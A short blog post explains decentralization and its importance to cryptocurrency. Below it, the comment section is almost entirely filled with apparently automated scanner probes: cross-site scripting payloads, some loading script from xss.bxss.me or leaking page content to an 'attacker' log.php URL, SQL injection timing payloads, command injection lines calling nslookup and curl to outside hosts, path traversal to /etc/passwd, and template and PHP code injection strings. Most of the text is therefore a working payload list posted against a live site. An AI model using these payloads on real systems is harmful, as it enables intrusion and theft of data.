What is decentralization, and why is it important to Crypto?

March 9, 2024 |  Categories:  Crypto   DeFi  

--> What is Decentralization?

Decentralization means spreading out control and decision-making to many different people or places, rather than having everything controlled by one central group or person. In the context of technology and governance, it means that decision-making power and operations are spread across a network rather than being concentrated in a single entity. This concept is crucial in the world of cryptocurrencies, as many believe the world and various industries have become monopolized...

When something is monopolized, it means that one person, company, or organization has complete control over a particular market or resource. In a monopolized situation, this single entity is the only provider of a product or service, and there is no competition. This can lead to a number of issues:

High Prices: Without competition, the monopolist can set high prices because consumers have no alternative choices.

Limited Choices: Consumers have fewer options to choose from since only one provider offers the product or service.

Low Innovation: With no competitors pushing them to improve, the monopolist has little incentive to innovate or improve their offerings.

Power Imbalance: The monopolist gains significant power and influence, which can lead to unfair practices and exploitation of consumers.

--> Why is Decentralization Important for Cryptocurrencies?

Security: It’s safer because there’s no single point of failure. If one part gets attacked or fails, the whole system isn’t affected.

No Censorship: No single person or government can control or block transactions. This means you can send and receive money freely.

Trust: You don’t need to trust a central authority (like a bank) to manage your money. The system itself ensures everything works correctly.

Transparency: Everyone can see all the transactions. This makes it hard for anyone to cheat or hide things.

Control: You have full control over your own money. There’s no need for middlemen like banks.

Innovation: Because no one controls the whole system, lots of people can try new ideas, making the system better and more useful.

--> Examples of Decentralization in Cryptocurrencies

Bitcoin: The first cryptocurrency that lets people send money directly to each other without needing a bank.

Ethereum: A platform that not only allows sending money but also running programs (smart contracts) that automatically handle agreements.

DeFi (Decentralized Finance): Financial services like lending, borrowing, and trading that operate without traditional banks.

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)


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On Aug. 6, 2024  1 wrote:

<ScRiPt >XA5J(9735)</ScRiPt>


On Aug. 6, 2024  1 wrote:

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On Aug. 6, 2024  1 wrote:

<ScR<ScRiPt>IpT>XA5J(9307)</sCr<ScRiPt>IpT>


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<isindex type=image src=1 onerror=XA5J(9449)>


On Aug. 6, 2024  1 wrote:

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9031'>


On Aug. 6, 2024  1 wrote:

<body onload=XA5J(9533)>


On Aug. 6, 2024  1 wrote:

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On Aug. 6, 2024  1 wrote:

<img src=xyz OnErRor=XA5J(9780)>


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On Aug. 6, 2024  1 wrote:

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On Aug. 6, 2024  1 wrote:

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On Aug. 6, 2024  1 wrote:

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On Aug. 6, 2024  1 wrote:

dfb[[${98991*97996}]]xca


On Aug. 6, 2024  1 wrote:

dfb__${98991*97996}__::.x


On Aug. 6, 2024  1 wrote:

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")


On Aug. 6, 2024  1 wrote:

<ScRiPt >FZpp(9249)</ScRiPt>


On Aug. 6, 2024  1 wrote:

<WUNRNT>QWUDI[!+!]</WUNRNT>


On Aug. 6, 2024  1 wrote:

<script>FZpp(9184)</script>


On Aug. 6, 2024  1 wrote:

<script>FZpp(9848)</script>9848


On Aug. 6, 2024  1 wrote:

<ScR<ScRiPt>IpT>FZpp(9239)</sCr<ScRiPt>IpT>


On Aug. 6, 2024  1 wrote:

<ScRiPt >FZpp(9261)</ScRiPt>


On Aug. 6, 2024  1 wrote:

<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9063></ScRiPt>


On Aug. 6, 2024  1 wrote:

<isindex type=image src=1 onerror=FZpp(9262)>


On Aug. 6, 2024  1 wrote:

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9813'>


On Aug. 6, 2024  1 wrote:

<body onload=FZpp(9257)>


On Aug. 6, 2024  1 wrote:

<img src=//xss.bxss.me/t/dot.gif onload=FZpp(9607)>


On Aug. 6, 2024  1 wrote:

<img src=xyz OnErRor=FZpp(9738)>


On Aug. 6, 2024  1 wrote:

<img/src=">" onerror=alert(9634)>


On Aug. 6, 2024  1 wrote:

%0A%3C%53%63%52%69%50%74%20%3E%46%5A%70%70%289371%29%3C%2F%73%43%72%69%70%54%3E


On Aug. 6, 2024  1 wrote:

\u003CScRiPt\FZpp(9119)\u003C/sCripT\u003E


On Aug. 6, 2024  1 wrote:

&lt;ScRiPt&gt;FZpp(9623)&lt;/sCripT&gt;


On Aug. 6, 2024  1 wrote:

�<img zzz onmouseover=FZpp(94761) //�>


On Aug. 6, 2024  1 wrote:

<input autofocus onfocus=FZpp(9975)>


On Aug. 6, 2024  1 wrote:

<a HrEF=http://xss.bxss.me></a>


On Aug. 6, 2024  1 wrote:

<a HrEF=jaVaScRiPT:>


On Aug. 6, 2024  1 wrote:

}body{zzz:Expre/**/SSion(FZpp(9210))}


On Aug. 6, 2024  1 wrote:

RNaAB <ScRiPt >FZpp(9065)</ScRiPt>


On Aug. 6, 2024  1 wrote:

<WOKSYS>D0WGK[!+!]</WOKSYS>


On Aug. 6, 2024  1 wrote:

<ifRAme sRc=9176.com></IfRamE>


On Aug. 6, 2024  1 wrote:

<aXTakaH x=9514>


On Aug. 6, 2024  1 wrote:

<img sRc='http://attacker-9892/log.php?


On Aug. 6, 2024  1 wrote:

<aJwzDm6<


On Aug. 6, 2024  1 wrote:

1Btbv3NyxtO


On Aug. 6, 2024  1 wrote:

<esi:include src="http://bxss.me/rpb.png"/>


On Aug. 6, 2024  1 wrote:

YUMJOIV6


On Aug. 6, 2024  1 wrote:

response.write(9297703*9471012)


On Aug. 6, 2024  1 wrote:

GSRQ2DgX: iGjghL8B


On Aug. 6, 2024  1 wrote:

'+response.write(9297703*9471012)+'


On Aug. 6, 2024  1 wrote:

${9999254+10000322}


On Aug. 6, 2024  1 wrote:

"+response.write(9297703*9471012)+"


On Aug. 6, 2024  1 wrote:

../../../../../../../../../../../../../../etc/passwd


On Aug. 6, 2024  1 wrote:

../../../../../../../../../../../../../../windows/win.ini


On Aug. 6, 2024  1 wrote:

&n991992=v942488


On Aug. 6, 2024  1 wrote:

file:///etc/passwd


On Aug. 6, 2024  1 wrote:

../


On Aug. 6, 2024  1 wrote:

./


On Aug. 6, 2024  1 wrote:

)


On Aug. 6, 2024  1 wrote:

!(()&&!|*|*|


On Aug. 6, 2024  1 wrote:

'.gethostbyname(lc('hitsc'.'ufytcrkx36988.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(77).chr(109).chr(80).'


On Aug. 6, 2024  1 wrote:

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg


On Aug. 6, 2024  1 wrote:

^(#$!@#$)(()))******


On Aug. 6, 2024  1 wrote:

".gethostbyname(lc("hitqz"."gyzljlooe1c22.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(75).chr(112).chr(68)."


On Aug. 6, 2024  1 wrote:

gethostbyname(lc('hitjx'.'cuxjeieu783aa.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(107).chr(81).chr(120).chr(89)


On Aug. 6, 2024  1 wrote:

echo cxdtqv$()\ gljvfg\nz^xyu||a #' &echo cxdtqv$()\ gljvfg\nz^xyu||a #|" &echo cxdtqv$()\ gljvfg\nz^xyu||a #


On Aug. 6, 2024  1 wrote:

Http://bxss.me/t/fit.txt


On Aug. 6, 2024  1 wrote:

&echo iacffp$()\ utzybo\nz^xyu||a #' &echo iacffp$()\ utzybo\nz^xyu||a #|" &echo iacffp$()\ utzybo\nz^xyu||a #


On Aug. 6, 2024  1 wrote:

http://bxss.me/t/fit.txt?.jpg


On Aug. 6, 2024  1 wrote:

|echo cnisdu$()\ akednv\nz^xyu||a #' |echo cnisdu$()\ akednv\nz^xyu||a #|" |echo cnisdu$()\ akednv\nz^xyu||a #


On Aug. 6, 2024  1 wrote:

ctime sleep p0 (I30 tp1 Rp2 .


On Aug. 6, 2024  1 wrote:

(nslookup -q=cname hitcnsorbycaj4ad99.bxss.me||curl hitcnsorbycaj4ad99.bxss.me))


On Aug. 6, 2024  1 wrote:

/etc/shells


On Aug. 6, 2024  1 wrote:

../../../../../../../../../../../../../../etc/shells


On Aug. 6, 2024  1 wrote:

$(nslookup -q=cname hitbmuskiteikfd9ee.bxss.me||curl hitbmuskiteikfd9ee.bxss.me)


On Aug. 6, 2024  1 wrote:

&nslookup -q=cname hiteajixxhfuc43b33.bxss.me&'\"`0&nslookup -q=cname hiteajixxhfuc43b33.bxss.me&`'


On Aug. 6, 2024  1 wrote:

'"()


On Aug. 6, 2024  1 wrote:

c:/windows/win.ini


On Aug. 6, 2024  1 wrote:

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));


On Aug. 6, 2024  1 wrote:

bxss.me


On Aug. 6, 2024  1 wrote:

&(nslookup -q=cname hithshqlszkyc662fd.bxss.me||curl hithshqlszkyc662fd.bxss.me)&'\"`0&(nslookup -q=cname hithshqlszkyc662fd.bxss.me||curl hithshqlszkyc662fd.bxss.me)&`'


On Aug. 6, 2024  1 wrote:

HttP://bxss.me/t/xss.html?%00


On Aug. 6, 2024  1 wrote:

'&&sleep(27*1000)*ttukus&&'


On Aug. 6, 2024  1 wrote:

';print(md5(31337));$a='


On Aug. 6, 2024  1 wrote:

"+"A".concat(70-3).concat(22*4).concat(118).concat(71).concat(97).concat(81)+(require"socket" Socket.gethostbyname("hitns"+"nmuabkpxcf2f5.bxss.me.")[3].to_s)+"


On Aug. 6, 2024  1 wrote:

";print(md5(31337));$a="


On Aug. 6, 2024  1 wrote:

bxss.me/t/xss.html?%00


On Aug. 6, 2024  1 wrote:

|(nslookup -q=cname hitysiuojtuzo3696d.bxss.me||curl hitysiuojtuzo3696d.bxss.me)


On Aug. 6, 2024  1 wrote:

"&&sleep(27*1000)*hagusv&&"


On Aug. 6, 2024  1 wrote:

${@print(md5(31337))}


On Aug. 6, 2024  1 wrote:

`(nslookup -q=cname hitzwogxyzcgo4c8e7.bxss.me||curl hitzwogxyzcgo4c8e7.bxss.me)`


On Aug. 6, 2024  1 wrote:

'+'A'.concat(70-3).concat(22*4).concat(114).concat(86).concat(115).concat(82)+(require'socket' Socket.gethostbyname('hitlu'+'utfobcdt029d4.bxss.me.')[3].to_s)+'


On Aug. 6, 2024  1 wrote:

'||sleep(27*1000)*gjxvil||'


On Aug. 6, 2024  1 wrote:

${@print(md5(31337))}\


On Aug. 6, 2024  1 wrote:

'A'.concat(70-3).concat(22*4).concat(97).concat(65).concat(113).concat(69)+(require'socket' Socket.gethostbyname('hitzp'+'pqlowtdcb4dae.bxss.me.')[3].to_s)


On Aug. 6, 2024  1 wrote:

"||sleep(27*1000)*hbftxp||"


On Aug. 6, 2024  1 wrote:

;(nslookup -q=cname hitdihjeqpqub76637.bxss.me||curl hitdihjeqpqub76637.bxss.me)|(nslookup -q=cname hitdihjeqpqub76637.bxss.me||curl hitdihjeqpqub76637.bxss.me)&(nslookup -q=cname hitdihjeqpqub76637.bxss.me||curl hitdihjeqpqub76637.bxss.me)


On Aug. 6, 2024  1 wrote:

'.print(md5(31337)).'


On Aug. 6, 2024  1 wrote:

index.php


On Aug. 6, 2024  1 wrote:

|(nslookup${IFS}-q${IFS}cname${IFS}hitdsvkhjgfuefd629.bxss.me||curl${IFS}hitdsvkhjgfuefd629.bxss.me)


On Aug. 6, 2024  1 wrote:

&(nslookup${IFS}-q${IFS}cname${IFS}hitylltrnwnkte006d.bxss.me||curl${IFS}hitylltrnwnkte006d.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitylltrnwnkte006d.bxss.me||curl${IFS}hitylltrnwnkte006d.bxss.me)&`'


On Aug. 6, 2024  1 wrote:

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))


On Aug. 6, 2024  1 wrote:

index.php/.


On Aug. 6, 2024  1 wrote:

'"


On Aug. 6, 2024  1 wrote:

<!--


On Aug. 6, 2024  1 wrote:

xfs.bxss.me


On Aug. 6, 2024  1 wrote:

995026


On Aug. 6, 2024  1 wrote:

http://xfs.bxss.me?173.127


On Aug. 6, 2024  1 wrote:

xfs.bxss.me?173.127


On Aug. 6, 2024  1 wrote:

//xfs.bxss.me?173.127


On Aug. 6, 2024  1 wrote:

/\xfs.bxss.me?173.127


On Aug. 6, 2024  1 wrote:

'"()&%<zzz><ScRiPt >HuRw(9100)</ScRiPt>


On Aug. 6, 2024  1 wrote:

'"()&%<zzz><ScRiPt >HuRw(9336)</ScRiPt>


On Aug. 6, 2024  1 wrote:

9449582


On Aug. 6, 2024  1 wrote:

bfg5860<s1﹥s2ʺs3ʹhjl5860


On Aug. 6, 2024  1 wrote:

bfgx5827��z1��z2a�bcxhjl5827


On Aug. 6, 2024  1 wrote:

<%={{={@{#{${dfb}}%>


On Aug. 6, 2024  1 wrote:

<th:t="${dfb}#foreach


On Aug. 6, 2024  1 wrote:

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>


On Aug. 6, 2024  1 wrote:

dfb{{98991*97996}}xca


On Aug. 6, 2024  1 wrote:

dfb[[${98991*97996}]]xca


On Aug. 6, 2024  1 wrote:

dfb__${98991*97996}__::.x


On Aug. 6, 2024  1 wrote:

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")


On Aug. 6, 2024  1 wrote:

</textarea><ScRiPt >HuRw(9513)</ScRiPt>


On Aug. 6, 2024  1 wrote:

2N8l1CCE


On Aug. 6, 2024  1 wrote:

-1 OR 2+805-805-1=0+0+0+1 --


On Aug. 6, 2024  1 wrote:

-1 OR 3+805-805-1=0+0+0+1 --


On Aug. 6, 2024  1 wrote:

-1 OR 3*2<(0+5+805-805) --


On Aug. 6, 2024  1 wrote:

-1 OR 3*2>(0+5+805-805) --


On Aug. 6, 2024  1 wrote:

-1 OR 2+695-695-1=0+0+0+1


On Aug. 6, 2024  1 wrote:

-1 OR 3+695-695-1=0+0+0+1


On Aug. 6, 2024  1 wrote:

-1 OR 3*2<(0+5+695-695)


On Aug. 6, 2024  1 wrote:

-1 OR 3*2>(0+5+695-695)


On Aug. 6, 2024  1 wrote:

-1' OR 2+567-567-1=0+0+0+1 --


On Aug. 6, 2024  1 wrote:

-1' OR 3+567-567-1=0+0+0+1 --


On Aug. 6, 2024  1 wrote:

-1' OR 3*2<(0+5+567-567) --


On Aug. 6, 2024  1 wrote:

-1' OR 3*2>(0+5+567-567) --


On Aug. 6, 2024  1 wrote:

-1' OR 2+686-686-1=0+0+0+1 or '9YPiTlya'='


On Aug. 6, 2024  1 wrote:

-1' OR 3+686-686-1=0+0+0+1 or '9YPiTlya'='


On Aug. 6, 2024  1 wrote:

-1' OR 3*2<(0+5+686-686) or '9YPiTlya'='


On Aug. 6, 2024  1 wrote:

-1' OR 3*2>(0+5+686-686) or '9YPiTlya'='


On Aug. 6, 2024  1 wrote:

-1" OR 2+876-876-1=0+0+0+1 --


On Aug. 6, 2024  1 wrote:

-1" OR 3+876-876-1=0+0+0+1 --


On Aug. 6, 2024  1 wrote:

-1" OR 3*2<(0+5+876-876) --


On Aug. 6, 2024  1 wrote:

-1" OR 3*2>(0+5+876-876) --


On Aug. 6, 2024  1 wrote:

*if(now()=sysdate(),sleep(15),0)


On Aug. 6, 2024  1 wrote:

0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z


On Aug. 6, 2024  1 wrote:

0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z


On Aug. 6, 2024  1 wrote:

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/


On Aug. 6, 2024  1 wrote:

-1; waitfor delay '0:0:15' --


On Aug. 6, 2024  1 wrote:

-1); waitfor delay '0:0:15' --


On Aug. 6, 2024  1 wrote:

-1 waitfor delay '0:0:15' --


On Aug. 6, 2024  1 wrote:

31chwni6'; waitfor delay '0:0:15' --


On Aug. 6, 2024  1 wrote:

-1 OR 396=(SELECT 396 FROM PG_SLEEP(15))--


On Aug. 6, 2024  1 wrote:

-1) OR 791=(SELECT 791 FROM PG_SLEEP(15))--


On Aug. 6, 2024  1 wrote:

-1)) OR 383=(SELECT 383 FROM PG_SLEEP(15))--


On Aug. 6, 2024  1 wrote:

jG0lxo6x' OR 432=(SELECT 432 FROM PG_SLEEP(15))--


On Aug. 6, 2024  1 wrote:

aDq4mCfs') OR 674=(SELECT 674 FROM PG_SLEEP(15))--


On Aug. 6, 2024  1 wrote:

gwgCUylQ')) OR 355=(SELECT 355 FROM PG_SLEEP(15))--


On Aug. 6, 2024  1 wrote:

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)


On Aug. 6, 2024  1 wrote:

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'


On Aug. 6, 2024  1 wrote:

'"


On Aug. 6, 2024  1 wrote:

����%2527%2522\'\"


On Aug. 6, 2024  1 wrote:

@@I2Pjv


On Aug. 6, 2024  1 wrote:

'"()&%<zzz><ScRiPt >a1xq(9575)</ScRiPt>


On Aug. 6, 2024  1 wrote:

'"()&%<zzz><ScRiPt >a1xq(9559)</ScRiPt>


On Aug. 6, 2024  1 wrote:

9967526


On Aug. 6, 2024  1 wrote:

bfg1557<s1﹥s2ʺs3ʹhjl1557


On Aug. 6, 2024  1 wrote:

bfgx7878��z1��z2a�bcxhjl7878


On Aug. 6, 2024  1 wrote:

<%={{={@{#{${dfb}}%>


On Aug. 6, 2024  1 wrote:

<th:t="${dfb}#foreach


On Aug. 6, 2024  1 wrote:

1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>


On Aug. 6, 2024  1 wrote:

dfb{{98991*97996}}xca


On Aug. 6, 2024  1 wrote:

dfb[[${98991*97996}]]xca


On Aug. 6, 2024  1 wrote:

dfb__${98991*97996}__::.x


On Aug. 6, 2024  1 wrote:

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")


On Aug. 6, 2024  1 wrote:

<ScRiPt >a1xq(9531)</ScRiPt>


On Aug. 6, 2024  1 wrote:

<W6F8NU>79XK3[!+!]</W6F8NU>


On Aug. 6, 2024  1 wrote:

<script>a1xq(9677)</script>


On Aug. 6, 2024  1 wrote:

<script>a1xq(9502)</script>9502


On Aug. 6, 2024  1 wrote:

<ScR<ScRiPt>IpT>a1xq(9323)</sCr<ScRiPt>IpT>


On Aug. 6, 2024  1 wrote:

<ScRiPt >a1xq(9332)</ScRiPt>


On Aug. 6, 2024  1 wrote:

<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9497></ScRiPt>


On Aug. 6, 2024  1 wrote:

<isindex type=image src=1 onerror=a1xq(9244)>


On Aug. 6, 2024  1 wrote:

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9080'>


On Aug. 6, 2024  1 wrote:

<body onload=a1xq(9119)>


On Aug. 6, 2024  1 wrote:

<img src=//xss.bxss.me/t/dot.gif onload=a1xq(9854)>


On Aug. 6, 2024  1 wrote:

<img src=xyz OnErRor=a1xq(9224)>


On Aug. 6, 2024  1 wrote:

<img/src=">" onerror=alert(9382)>


On Aug. 6, 2024  1 wrote:

%0A%3C%53%63%52%69%50%74%20%3E%61%31%78%71%289359%29%3C%2F%73%43%72%69%70%54%3E


On Aug. 6, 2024  1 wrote:

\u003CScRiPt\a1xq(9434)\u003C/sCripT\u003E


On Aug. 6, 2024  1 wrote:

&lt;ScRiPt&gt;a1xq(9315)&lt;/sCripT&gt;


On Aug. 6, 2024  1 wrote:

�<img zzz onmouseover=a1xq(97701) //�>


On Aug. 6, 2024  1 wrote:

<input autofocus onfocus=a1xq(9816)>


On Aug. 6, 2024  1 wrote:

<a HrEF=http://xss.bxss.me></a>


On Aug. 6, 2024  1 wrote:

<a HrEF=jaVaScRiPT:>


On Aug. 6, 2024  1 wrote:

}body{zzz:Expre/**/SSion(a1xq(9324))}


On Aug. 6, 2024  1 wrote:

dKjae <ScRiPt >a1xq(9528)</ScRiPt>


On Aug. 6, 2024  1 wrote:

<WOAC8R>3SAHL[!+!]</WOAC8R>


On Aug. 6, 2024  1 wrote:

<ifRAme sRc=9473.com></IfRamE>


On Aug. 6, 2024  1 wrote:

<alA6mWZ x=9074>


On Aug. 6, 2024  1 wrote:

<img sRc='http://attacker-9265/log.php?


On Aug. 6, 2024  1 wrote:

<a7SsUa0<